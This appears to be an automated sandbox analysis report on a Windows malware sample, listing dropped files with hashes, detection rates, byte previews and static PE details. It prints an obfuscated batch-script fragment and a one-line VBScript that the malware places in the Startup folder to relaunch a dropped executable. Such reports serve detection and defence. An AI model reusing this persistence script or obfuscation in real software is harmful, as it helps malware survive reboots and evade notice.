Preview:	Set Conflict=N..dzVolunteers-Commonly-Cheat-Locks-Duke-Anime-..LoJRestaurant-Correction-Stability-Testimonials-Spreading-Drag-..bZDr-Templates-Pins-Stations-Village-..pbqaBaseline-Attorney-..qCReturned-Wars-Typically-Framework-Beyond-Received-Developer-..wZEnables-Assurance-Sept-Suffering-Grams-Celebs-Precious-..mJCan-Fo-Dramatically-..Set Optimal=Q..PGQStarts-Artistic-Usb-Fiber-Customize-Copying-Mating-Signatures-Tracked-..hZEpGoing-..CjlKInduction-..tvoMajor-Statistical-Owns-Postposted-Developmental-Pursuant-..QjgUCentre-Dive-Grow-Sized-..vlpuTvs-Delicious-..GkQInch-Desirable-Scenes-Antibody-Univ-Dress-..sDSyracuse-Expand-Discussed-Change-Has-Peace-Showcase-..Set Iowa=1..zyReporter-Parent-Where-Suggesting-Gmbh-Challenged-Back-Returned-..LQsuLeisure-..VMabSharp-Costume-Removable-Architect-..TnDual-Div-Sixth-Industry-Assess-Bo-..bsMean-Debug-Whom-Kilometers-Albuquerque-Businesses-Trainer-..tgvxAgency-Picks-Levy-Uruguay-..Set Ryan=w..ztTraffic-Worcester-Leon-Indianapolis-Having-Starter-

C:\Users\user\AppData\Local\Temp\Bookings

Download File

Process:	C:\Users\user\AppData\Local\Temp\A723.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	893608
Entropy (8bit):	6.620254876639106
Encrypted:	false
SSDEEP:	12288:DpVWeOV7GtINsegA/hMyyzlcqikvAfcN9b2MyZa31troPTdFqgaAV2M0L:DT3E53Myyzl0hMf1te7xaA8M0L
MD5:	6EE7DDEBFF0A2B78C7AC30F6E00D1D11
SHA1:	F2F57024C7CC3F9FF5F999EE20C4F5C38BFC20A2
SHA-256:	865347471135BB5459AD0E647E75A14AD91424B6F13A5C05D9ECD9183A8A1CF4
SHA-512:	57D56DE2BB882F491E633972003D7C6562EF2758C3731B913FF4D15379ADA575062F4DE2A48CA6D6D9241852A5B8A007F52792753FD8D8FEE85B9A218714EFD0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Joe Sandbox View:	Filename: NativeApp_G5L1NHZZ.exe, Detection: malicious, Browse Filename: sXpIsdpkzy.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: 'Set-up.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: JSWunwO4rS.lnk, Detection: malicious, Browse Filename: Yn13dTQdcW.exe, Detection: malicious, Browse Filename: DM6vAAgoCw.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L......Z.........."...............................@.................................Jo....@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\C3F.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1160471
Entropy (8bit):	7.97857391780465
Encrypted:	false
SSDEEP:	24576:C93RugwQd6647Do+IyenPiAwqmwVcnqlaZqvLGTK10:4Rugw/hAWqmXqc4e
MD5:	53C60D599AA498ED4EFA79BA0B12E29F
SHA1:	969A751E4C24B9E4487FF62908B230DD554A2ACC
SHA-256:	8DCCE53EA838F3F97B8AFF36E0A1FFD70AEB1DE6B8C6E5D6B530499A07E59FCE
SHA-512:	37A8321DDF2389A12BA014F721C6CD361F3437BE1ABCE99D8E1A6F3337297DC78591F0E930411A279E2E4CEF14792C0290581E5009D748B413D44B97DA9AD53E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 13%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L...X\|.N.................n.......B...8............@.......................... .......\|....@.................................4........@.................. (......d....................................................................................text....m.......n.................. ..`.rdata..b*.......,...r..............@..@.data....~..........................@....ndata.......0...........................rsrc........@......................@..@.reloc..2............r..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Cumshot

Download File

Process:	C:\Users\user\AppData\Local\Temp\A723.exe
File Type:	data
Category:	dropped
Size (bytes):	35565
Entropy (8bit):	7.995026829437027
Encrypted:	true
SSDEEP:	768:GS0fKZZHkBqdnXmNkp+rgrpyFbLsywALlVk9F5M9ZKnYpBonrxzT0QIOj:GS0CZtk0nXma2grpyFbYJH9vM9ZKnwiJ
MD5:	6517F12CB18B6B1DCAE8574EABA118F2
SHA1:	5497C848BB64C66EEEB8D2C9965061EBE44B164C
SHA-256:	948595DB4AB47B05E8D3FB45F875512B80A580B07239E80DC5A874437B9047B9
SHA-512:	CBC45AF038FE95D78FEA5743CC7D757FC644D93884565819CFA16400A7143A3234395549CAB36206BD10BBA95325260E5439638A966AB3855A65AEED9F341F3C
Malicious:	true
Preview:	...^eU..n.V.U..z...1s.$....H.d;o..(...d...w$.R#.K.8"k..:b.sWH..K.....K...f..8..O..w..../t..^.......uH.#...W...W..n^..Xgg.fx.^...(.V.N.n..W..f#..]..?....y..KG;...;ly.....Z....f.61,g?'..Wy..G.u.....,....@....lH..G@.\|.=..q\#!.Xr.....D..............K.<.sEG.v.c.......U?..B....#..E...r.......\|..PQ.?..jVi.>..".!.o.<....,.}U.xB^!"....W..\|..O.42.......:..}..k..#eY..C...Kx.C..3.do......#..^J..u.#GN.X9)...U..\|.......Dx.t"...o.BH...{..x..@..i...oD.1........9...D@.19P.^.@.s.`.;5.u\|_...oN....k^.r.........q..k.%`".uy-...eL .........V..o(FLw+..v..-F,...c..]T.CG.:.a.Y.m.,=... ......;......E......X.f.~...0!.b%I..fp.=.<..33}.y.0.B4D.O../..Xl6R.........Y..QLE.......2a....\|....y.m.`.t.I&...h....Agm....[....vfw..wPdw...4.....D....6.zRL..&.Y.&......%N.>...&.x......I..E.~.c...D.GsuZ=DQ.d..t.J..q.o......1i...c"%..#..F.&...........1..i...:.......A\...%.?X.:=....G....Jm..\|@...b.&..)..._/....M.IH3.t.'...P.A....c.m.4..J.>Q&.u.DC..$...q._...M.\.`s/..`J\.)../....n..g

C:\Users\user\AppData\Local\Temp\Customise

Download File

Process:	C:\Users\user\AppData\Local\Temp\A723.exe
File Type:	data
Category:	dropped
Size (bytes):	912384
Entropy (8bit):	7.999805378227024
Encrypted:	true
SSDEEP:	24576:m6y8a+pvrt1/pf++iA/Qzk/kbNbNlbN9WUKgCxIrB0o:XRjt1RJNQ4/kb/9HJCarB/
MD5:	16ECD01698A0A5A2509A634BD716C5F5
SHA1:	D14347C9482E405037874387E1F36B72F6E8529E
SHA-256:	5A205B9BD0483FCC5D7F0C6D8C1D254886AB8D08BB5DE1B57996A5D0E6CEC089
SHA-512:	104761D3F4CBF9507A6E744E2AC632E723F6CBCE193024A988377A6F888F299D34AD4CB81DBC52B2311D2246DA12D1E9E6FF184514A49291888D52E49D943B92
Malicious:	true
Preview:	H.\\|c..Ai.z?).M.......#d...b..yS....&...1....##u.+.h..3[9U..O8.h..w.>..U. .KP....>..q.E7......>.[k.m.....5~.)..s//.\O2.3.....l:.3._.....F.G>`r.....l.f.)k..5..f........aY....9}UkC.J....6....,.<...a4....AV...6.n...r\5......#i..9.........qKt".3.]........jx.,...w4...47.z.j..'...2.Xh..F.bb.....[mg....'..[...\|.N..%...6.'..Ujo........I.:.....\|.^..}..hS..uE3-.%.....:......q0...)...2.U..O.a.i.!...s..j..G...89a\|X.b.j...D}.0.0.B...i.d...v..\|..J..>...6.Piu1..W#.v..U,......z._..[_...1$.....#`....F....o.J.{=...r....z..5f.~.....Gq$E.{K.1Of...b\|@......?..#.....^.E..FX.&.X..wno.[W...>^.@./9.tG.a.{.o..Z..c..E%.[0..O..m...o.........MJX..........8.[..9./\|hs._v^...Z.'.M.\|2.Kp....l...W............i!.......'...)c-..[........g$.....%.c..x..j.i...j\[a}Gf..iR2.t<...Z.{..6.6N;........Z..%..X./..U'x.m ...5........t..k.u.Jy.:~.^.P. s.'.C..E0.:.8..1`gK...w.)`..../....B.n.F..G.....En.".-.b..sx?...w\|...E.R.....b.k..%Uo.GY#..a.r....-.].1...U_.T,k..~?.`..w.-/.{.

C:\Users\user\AppData\Local\Temp\Handjob

Download File

Process:	C:\Users\user\AppData\Local\Temp\A723.exe
File Type:	data
Category:	dropped
Size (bytes):	900096
Entropy (8bit):	7.999817470486428
Encrypted:	true
SSDEEP:	24576:nU3tIzKeX8mO9ck45xynKIM9aM0pGPIViU8eOY9vvD5V:nGtIhsF9cP5xynKIMMpGgCYBn
MD5:	2F48729169D18C8966524ACA35E319DD
SHA1:	8A8E1799C9ECEFBA40C52B318D697387A288653A
SHA-256:	CD9511A88E161EA956D9577AECB96315B03F77E772F1E6D2A658E0A24D3CE9FE
SHA-512:	F2F2D17D001FBEA8327D1FFBDE6DF89DF99710A16ACD1166974512A05689A5059D2D042B7418DC9753EC1B2DBAE8BD797584DB77776D81FCBB47CBE0A056A5AD
Malicious:	true
Preview:	U..d..&.3[U.kJ.`S.M..._.E.+Wt=..@M.2SR...)/o..H..S..b.....j....I.L.....[.G.<..x..0..lM.....qZ.g...~......l!{).l...OuD......_..1..8."{...l..c..x...b...!v.....t{^sU..f.+.F]....c0Y./.........;/.<..+6.\@..%....i9.zm..SK..<.}.Duj..;....l$..m.c.n..$ywJci.:.-.J..h.a..".7....l........}....Y[...ZQ..?.......G..e4...1.i..s~.....z....3.....N..@...\|..zf./Uu....\.}..bH1.jgN../../.#t.I.Dw..G,...SK.hITd.X...d{<@L.....O...0.,.<9...0%.g.F.})P.h.r.H..h.m.....)...,j1...q51.o.2......_.0...).e..xtq..3(z[....C.I.iQ..a....HRe?5...x"..y.J.Q@H.eb...Z0N.6../!...R...u:......R.......i.ZL.....e.E_...{AU..Xht\|...H..M.]...r.2...)..I[Y..C/<.%.#.....dp..0.e"..C.{.'.C...........Z...m.........<......s..g66.3...+......V..A..P.$L....Xxfk..P>........g.pk.M2)Z.1.......E....S.U.oU.+..!1.y.......Ms~.f..cPy}g...1~l.sx...P.q0rJ'.h..Y1..~<..M......G.z......."r~I......$.....v.R.4(.-u....#.....p.E....w.A....#...~ .#.z.iO...?.....l..K.&y.I..G.F.e.[[....e.'.VA..W..yY"F,..%.6...s.#

C:\Users\user\AppData\Local\Temp\Investigators

Download File

Process:	C:\Users\user\AppData\Local\Temp\A723.exe
File Type:	PGP symmetric key encrypted data -
Category:	dropped
Size (bytes):	867328
Entropy (8bit):	7.9998173993765995
Encrypted:	true
SSDEEP:	24576:h6s+0v798mOtdYcHjvhY5B6B/wb8RqWpXJZrLUTDCnC:h04TSLvhQB6Bo8R9YCnC
MD5:	8B9B0F5CC23219A66CB34CA0E0D2F435
SHA1:	ED2D72FCD92DBE07B3947ABE4CBF0D504B0E5750
SHA-256:	FA91AD8C8A7DB23C1AF687D18F9D9E8894EA67C21D6B6EF32CFAADB652E4E079
SHA-512:	C870DD8C8D3168C177C40B2B16E1873B6236D1E545CB772C4FA34B16C843F996E8454148F0D75D4957C6476E6F95D8C8F70937247431CA30639742EDC84DA8A0
Malicious:	true
Preview:	..Dl.xB..../+o.</..}.`/iUp.ae...0.T.b{.[.....N.Qq....I.=.#..Jy.W+.FD.".^F!.a.^."...K.. .F..?...bp...i.N.G.~.%:P..:.B........p.h.W~N..V.Y).2...E.....-).^k8.e............mG..;.\..j9..-...X...F.T.0#..c...C....0.P.'m....W....'QX..l.WqG..r2..(u.....~b....E,.M.0.O&<}...].N....P@......P..,.{2.....8).M.R..S.....h.J~S-...B..P.U.....:V..../4r?..S..O...(J......^C1...-.....[..p.8r..3..q{G\|.....A\|..l...(pd{c......=+..V].WMK)......x...j.....;M..%...M{'.'9N..q.I.F.......6g...4...)..."P..F....W....O..TgWE...9.d.ctE..=.,w.z....g...M"3.2B.......K..[h..~..]..P.A...@A..i..kj...=-E.....b..E. .....)........T...P~....w....t...+N....3.R........-..]..&u.'+.^.m.G..tS kJ..u.Y....F.&p.6yB...y..=g{p.,..)Wg.,..'Z'.S~........B\|......9.....M&O..Q3...s92..{...#o(...h.....G:.....+........kAJ...p..F...o....+...2b...Fp..~..X.n......~.zB"S..8.....:^.m.L}......'.5...E.}b.w...u...P..`.1.e4..b..lYR.[.5.7...;...>..U....HWP..."...m.o.hj.......R.:x..K....^.......{+.g.-....O..Nu.

C:\Users\user\AppData\Local\Temp\Realty

Download File

Process:	C:\Users\user\AppData\Local\Temp\A723.exe
File Type:	data
Category:	dropped
Size (bytes):	1010688
Entropy (8bit):	7.99977432269652
Encrypted:	true
SSDEEP:	24576:sA1h4l0hb9BepG2v8VsSEA/4oFXQeUQmlcEYShHJJ+ThG49qYHYqtZDGjwm:sll0R7epl/SEs4odQeUaEY2+T59KdjH
MD5:	8CF19EE46246A432A43A5AD235D51C2E
SHA1:	74E62E2A5DD0823172FFA1E32EEFF465DAFBA8D5
SHA-256:	0872925D9C0B807B94203B4D57F645C4990E7CF23B1794F16DD8289FA6F318F3
SHA-512:	2364B77D67F493B83A0B6121B3AAF533A16BDF26B2022E8719B8A12CB3ECE05CBCDEFC19E83E0338A85CEA121BA7D114B72DD391322F12478D185F34E1337533
Malicious:	true
Preview:	....qsA..k.g..Jnt?,p/.....Xa..Z.:'G.Z(:}...C.n...S.&&lK"..^.tF.[...{^?...m....b..{.[..I..t.4.R......GiiPA.3@5.....A.......%z.R.W..[WM..lx..=.bL\.%n....6.x....3f\.....j=.....Q#.d...7D.o:^m....l.^..]G..a[...=..t0.M..e32&.".#P~..Bl1..<.1...;/.)..._Bs._OlVRv".+^..\....%..4...=.........uE..I.m....@.....m.`..U(...)].k( b.G...t.G.1.....^..j,.@..e....#..Q.....`..kt`.-w..Y.'..h/..}?....Cc..f.x;...3.S4.v!..@.V'..b.z?.).21?...x...r...fi."Xx..8.'.l....m.......b[.a.P./QGy4.$..E..5. TA.~..Qc.........l..p........>.......E.U.6X.B"..V>......m'-.M.{.........p..wM5oSL.....1x.X.....B.h.R......0.3.k.......D...A.T.~..x..dk..O.qc..^.....o..3NL......6.&:.D...,a....r.....(....p0kE.P.....W/....qw.i$~SU..&....x...".$.T..?.q.w...]...x........,...s...\.-.'...V.....'.w\|...."]..8q....M..3E...<...T.g..E.M.F)V.{^....i..r....../"..`.(~5..NW.AV.....e.5..*.&...3........W7.....%..Tu.{..>....g.%4..tz..9...3.`.s...........cZ..j/,..P.,.D.....[/.,1..I..52&...k.6.....'.

C:\Users\user\AppData\Local\Temp\Seconds

Download File

Process:	C:\Users\user\AppData\Local\Temp\A723.exe
File Type:	data
Category:	dropped
Size (bytes):	740352
Entropy (8bit):	7.999762571010334
Encrypted:	true
SSDEEP:	12288:/ALMxo6fYR6BSk/RCygweZ8CAJ2Qfay9RBUPePwrLqj+6MGc6XOVaAhsODjiw:/ALMiEBSCQNZ82a9oPe4n7Gc6eVyYiw
MD5:	CD4A68CBEB473B21D41CA8489ADD35B7
SHA1:	6B631EFC0E8DA1430CE07BA6C3CF5B88D6C8C1E5
SHA-256:	E2D10FEE0853F5A32C9238FD3261C4ACECA0EB4AFBA16FDCA458838C064FD36F
SHA-512:	578774B1CE64BC0D29DFC7F5DF5077BD434CA5E116246CEE12E666A8CDA65C6687FA0E0523ED50084E7F53CCB5D95520B4B1D6274DA94CA4255F3E320FB86CE9
Malicious:	true
Preview:	....L...! .z..l..0......d;....I.2.H..n.1.P.....AW.....aZ.(p..d..%...c..2.h0.....P~..T(..HBk.:3.u....uxW."....-xSP.C.BNY...{.I...m.I!=+.@o.g.y....y.....c..rtf1.?>.`jb.b..#..M._.........%......m..=^L..P.D5B....KB...Wn...5m.R...T...\.)...._.z.k.r8&..Q.k............d2O.Ax.....05..w..t0...E.8.}..O.2.?L..j5 '....8 n.0E..B..8..=._..b..w.$.F...f.v.G...a+.%./....S..-...h\..l..3.........Rv.u......0,s~z.2'..{..:...b6........+..5....w~.1....#.[....e..........vy...........<...j..q.YFh....Y6.....U...>..ZJx........f...2.....9e.t @.x"..#.6..m=..Q....7II....vz{d.J....u.G.....0...f..y/8.. ...S.Q..0.k.MHc..q.e..i...%.(W.k....y..C0..%A.:N..j.{~.`.h.Ze.Y.f#:. ....`.}SF...M..$/..s.......E....e.s..o.l.u......'....}4..........[{...1.A...2K.7Q4!.lE....D.v!u......{.5...V./....._8W8d<....lU.I.e...+G.O.8..B......!.~.........r@...8N...x.&....7t].V........z[...`..........V.&....G..D.z.E.......~P=v:..^..........I..t.d.O.Y/.W.}...ci..!..<..#.eu..U.pR.

C:\Users\user\AppData\Local\Temp\Showtimes

Download File

Process:	C:\Users\user\AppData\Local\Temp\A723.exe
File Type:	data
Category:	dropped
Size (bytes):	528384
Entropy (8bit):	7.999686800936222
Encrypted:	true
SSDEEP:	12288:/ek7iUS7wezxKsRXsevPKqjqw59oDRchDC/5nWYqIeV:/ek7Qzx5Hvdqkyld6
MD5:	D80C7B36C3C560027E6ED338CA5511AD
SHA1:	E6269EC9C13FE30E25C753F2C35C61471473E96C
SHA-256:	93B1DB8109280FF4567343944C02FEE3924233D36EB52854B3C43B46F3B4DEEC
SHA-512:	1F9912FA5776DC5B7286EDC0304B91586A88BA3AA6AB62B7F7B061C54EE301A272E32CAB865FB4A309DCC45E594B584EF46355530993E744BEDE6C01E3479ACE
Malicious:	true
Preview:	F.....9....v..z..~..Mi.....3.\|...i....F. .=#...:..Cu0B....f.e..5.Fg..(..Y..]#..=.9.b...p.b.p.~....g..^.e\N...g...b.q.....<..7.....v34.G?...W. .p...~.PA].H.O......g....._...h...,......=..]<..Hb.\.....A........l...?..n..qn..U.....~7i./),N.#....t..yAi[...w.....O..O.4.s...n.W.Pi..........I...T.+?s~.......J...V.../......X.?J/O.^........5...e.....&...Z...].2.....<...9.G).=.0g........ZCv.L}..."...D....D..O..."?.+..`.......Q!.].....t'a.<.&..7...VL,..#..u.6ON@.....w.p\|.r.e.CDg.8.U...7."..w....y.@lw....G........yb.....}../.Ow.^imo.)V.n!.....\.....c..b.'..D..~..w..s........5.L5N......yq....@.O_.1.....&.....x>....Xn.JcH-BC.J.T....../../........#!...RO#...l....)c'.V.1F@2_...4...[....\NQ..r.C..../..}.i....,....:.[..A..^!..zx.....df...F.;.<n..4.l.7I3.1..T.._...(....2.t.s:k.T.........N\r..M.._ex_..j$.r[.....of.(;......Q.b...@D...".j..._.R=......!./..+=.;.>........t.) ......,%[0l...-....Z...v;......E.8.N........2$bdM.[le........y..z#..z....,HH....1.h.;..6f

C:\Users\user\AppData\Local\Temp\Sucking

Download File

Process:	C:\Users\user\AppData\Local\Temp\A723.exe
File Type:	data
Category:	dropped
Size (bytes):	785408
Entropy (8bit):	7.99979584006876
Encrypted:	true
SSDEEP:	12288:sPwxw/+tv48SsOX0STLXZCV9u3G3EQ1iX3o7VYbNWsOUYKhlTivYtvXp19c04L07:9xLRNZO5cW3Gn1iHoeb4IpsYtvX79B4U
MD5:	A9EFB8DF13C3193CBFED44E9C05FBBCA
SHA1:	2D61626A5C781E90D1D1B72CBA9CF0BF0339CC92
SHA-256:	2566D27F50CF6BF6E495485788C88C973754478BA4C7B57241F4EFDFF96A85DE
SHA-512:	BA5B0DF1559EF195A14812633F0B8A7FD84910DC07F09167D28F05F786CDD79CC5F6265C4BCB7856DC299322A70B3D731E30423B779EA135616587615EE5A4DE
Malicious:	true
Preview:	~...m..)....q... .v.U_.].g.\|m.c.U.O.W.5,..v.../.......fV$..M^.t F .........WA.V..v...-e..0W;;=.mnZ.......\|.".$.........$X...K....).o.R....2-.A...Y...6..gf.0j...G...I!.W0.........U......0Zl{..7...t.v....KP..F...$a.3.5Z...+...l....-.......c..YB...}`.b]F....B...4..W6.$.../.%...}XT)l...=..0..^[I.7:..M.7L..$....M.x.%..B:?A.....S...6.;.] ..i....G!F..#6kT..n$..".=........1...@:U..d..zM.... ..0O.G.9.DrZ.R.j....<..'.+''rY..Z"&.}.7e..Ld..M..+...~.6.....MWT....n.\|5NQ....p..)...l...EX.F......N....&.....Z...rR......6/...%....:..).PW.}.......-W.%;../.Y...."..T...f7d@...c.)..i...jS.p......Op.=.B..j...6..V......9..X.......~....3.G...l.\O.}....V....V.cBY?...c7b#..Q.W..Q..yrnW...pK..Y.~..f..{...=E.X.../)..hON..-U...c...${.'^...$.0B.P.~+........U...:.!..j3^..?...m...zc.-......PT...1..{.@..a...H.r!..9...x..h......b..T..b..8.R.z..B4.K.......V.....@\6......_.[.4Pm...bDv5fu..b.m.;2...".%./C!...G76k>.x5P.IL.m\.k.r?{\..Z"..$b\..xR.RR.....$........H-..",

C:\Users\user\AppData\Local\Temp\Threesome

Download File

Process:	C:\Users\user\AppData\Local\Temp\A723.exe
File Type:	data
Category:	dropped
Size (bytes):	943104
Entropy (8bit):	7.999801314457115
Encrypted:	true
SSDEEP:	24576:u6DJM65JhXhNFNJbrWydxgN2aYQ8MsNxq:375hTN5ayDrrMsNw
MD5:	D93924A61A19A84A3180D0733E5C366D
SHA1:	6C0FE4A1A9245FE1D70ACDE743DC9E2C561143D3
SHA-256:	A926FE771A3657EEC12A2687C837187FB2E043BB6C87934CDF89D01224A7A3AB
SHA-512:	310FBED862D44F0111BF8673020DDEF04D86D9B1D63BC14EAA3190DBB01148106A1AA1E730A0411D75D7E99BA7B754B8575D85FB8BB8C436D370BCF0DC0E7232
Malicious:	true
Preview:	...@.%v:{.u.xy.>..].....(HDj...y-.@......._......\|w.o.....v..t,(.b[B.0X(......l......#<}[]3t<.."...B...\.@....{8....=..F...+&.- Jea...7..j.....w..7..G!=-..../yH............F...0&........B.r..6"..].....QEn[.#.F.Q4R.....iD.94.l.(.s.k....S-...L+D.......YSavF..'.D....v....~...Br.#..E....s...F=R.g...t.J7...K.,4...../.s.6......b..0O..Q!v.W....... .z:.%.. Ve.....@.........u.=E....n..;s.........d..YM....d.yT. ...Z..+.T\|Z.u.?.'! f6.'T.6.......?..".X ..:-..S.......K.<..%]...W..\|....}\|B...5..3.s.V......V=6...ePIb..q...aU)..F.e..[ruR.w}.....O&.....1.=....>..P.0w.g.=._..r6M....Tc...h.i1.v..N...\..>.o.^..Rv..4Z....m8.....{...o6J.m..:..J....{....#.iG..MO...b..."<.W.<.X...F.r..F.n?...H.u.wU.....i..~..[...a.i.!T%....&...f..r..vU..i...-+..[>~j...1O...9d.j-.........Y.h1..kIp..`[...Z.,..d[.9......8...^-9.G........+..V._h?..:..8T.....CP.....>Q..8.{.JGb2.[..?&.m.}R.".7b(.r....w8.B=...h..(............OD..Kp.5...aR..3..&....O..Eb....}.S....k...;...S.....q`....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Result.vbs

Download File

Process:	C:\Users\user\AppData\Local\Temp\3E6C.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.682097768627399
Encrypted:	false
SSDEEP:	3:FER/n0eFHHot+kiEaKC5wXfkAHnn:FER/lFHIwknaZ5wXfJH
MD5:	08D9686EF22D66E5326B1F11A49EB914
SHA1:	70C95451965319E085C99D9A9FB23B7F3051A3DD
SHA-256:	453F4A3D8B52DAFCEDE809B33F6E0DD29C6215ECCCAFE3ED12EC74A96451604B
SHA-512:	83157F8D4CF78F804AD4D7CE93FDC396F398825E97D53DE82FCF058EF01DCFCB30DE116A895B18E72F71ED60EA58061CE70F0A50EBEF6B53CDF2744D9F42028A
Malicious:	true
Preview:	CreateObject("WScript.Shell").Run """C:\Users\user\AppData\Roaming\Result.exe"""

C:\Users\user\AppData\Roaming\Result.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\3E6C.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	1401856
Entropy (8bit):	5.46718710825262
Encrypted:	false
SSDEEP:	24576:UUK9HMrB8lbfCe4kp6HeFSCX3NXb4mLibM9HU6UkALbnVQ3E2qZjt:UUKk8jp68oLbnVQ3E2
MD5:	22059CF3BA4B5338116E054D63DBCB46
SHA1:	875B2DA18119A55395C4611DEDF31B34420B6111
SHA-256:	C8D9334DAFBBA9DB79280A2567D9D2EDE04E27255C528DFF3C13E589F34E7125
SHA-512:	4648684573901D71EEC1BE491AB5700E6AA6A2C0ED5DCFD734D071F65D78BAB203377683A1E1B48976D1E481E42623B64945163A7D33648BF5C9233390514417
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...q.ng.................Z...........y... ........@.. ....................................`..................................y..K.................................................................................... ............... ..H............text....Y... ...Z.................. ..`.rsrc................\..............@..@.reloc...............b..............@..B.................y......H........\|..................................................................(......0.......... ........8........E....@...?.......0...8;...~....%:F...& ....~&...{....:....& ....8....(.... ....8....~..........s....%.....s....(.... ....~&...{....:w...& ....8l.....&~..........~......s...........(.....0..S....... ........8........E....3.......8....(.........(.... ....~&...{....:....& ....8.....&~..........~......0..W....... ........8........E....7.......82....r...po.....

C:\Users\user\AppData\Roaming\jagvise

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	231424
Entropy (8bit):	5.546586905728256
Encrypted:	false
SSDEEP:	3072:zKEbzkIj9XmBQXzBOY+UhcaPKzyU5NRS8/AZdF+:mEPkIjRmGNOMYz3H
MD5:	2A270773553CFDCA5C1FDBF24D44F18C
SHA1:	BA5A6399C539F549B519F084C54852B6D434B030
SHA-256:	3FFB13F7F47722571DC7271EBBB09C2B893D4EFE9A515F19FCCC5E75CFA93220
SHA-512:	DCB83C9E6325C5944E4EEFE865AD95B4560F3E4557C18C9FB7B0EF2D1ABFEC3BAC6BFF416EFDF3E042E0DCC4302263F57EA1AADE22F912EE5D2F0A6A9C223C40
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 61%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......).`.mq..mq..mq...>..oq..s#..sq..s#..yq..s#...q..J.u.jq..mq...q..s#..lq..s#..lq..s#..lq..Richmq..................PE..L......e......................?.............. ....@.......................... A......N......................................L8..P....0@.............................................................................. ...............................text............................... ..`.rdata...!... ..."..................@..@.data.....=..P...p...0..............@....rsrc........0@.....................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\jagvise:Zone.Identifier

Download File

Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.546586905728256
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	hoEtvOOrYH.exe
File size:	231'424 bytes
MD5:	2a270773553cfdca5c1fdbf24d44f18c
SHA1:	ba5a6399c539f549b519f084c54852b6d434b030
SHA256:	3ffb13f7f47722571dc7271ebbb09c2b893d4efe9a515f19fccc5e75cfa93220
SHA512:	dcb83c9e6325c5944e4eefe865ad95b4560f3e4557c18c9fb7b0ef2d1abfec3bac6bff416efdf3e042e0dcc4302263f57ea1aade22f912ee5d2f0a6a9c223c40
SSDEEP:	3072:zKEbzkIj9XmBQXzBOY+UhcaPKzyU5NRS8/AZdF+:mEPkIjRmGNOMYz3H
TLSH:	32345A1035F19026EFFB4BB715B4D6941A3BBF6F6B70808E22503ADE1E336904A547A3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......).`.mq..mq..mq...>..oq..s#..sq..s#..yq..s#...q..J.u.jq..mq...q..s#..lq..s#..lq..s#..lq..Richmq..................PE..L......e...

File Icon


Icon Hash:	8f97312d2925191a

Static PE Info

General

Entrypoint:	0x4016ae
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x651DB097 [Wed Oct 4 18:36:07 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	aeda2247107ce1cc9c58b0f6c2e9c5f9

Entrypoint Preview

Instruction
call 00007FDCE8C78E14h
jmp 00007FDCE8C7541Dh
mov edi, edi
push ebp
mov ebp, esp
sub esp, 00000328h
mov dword ptr [00427C18h], eax
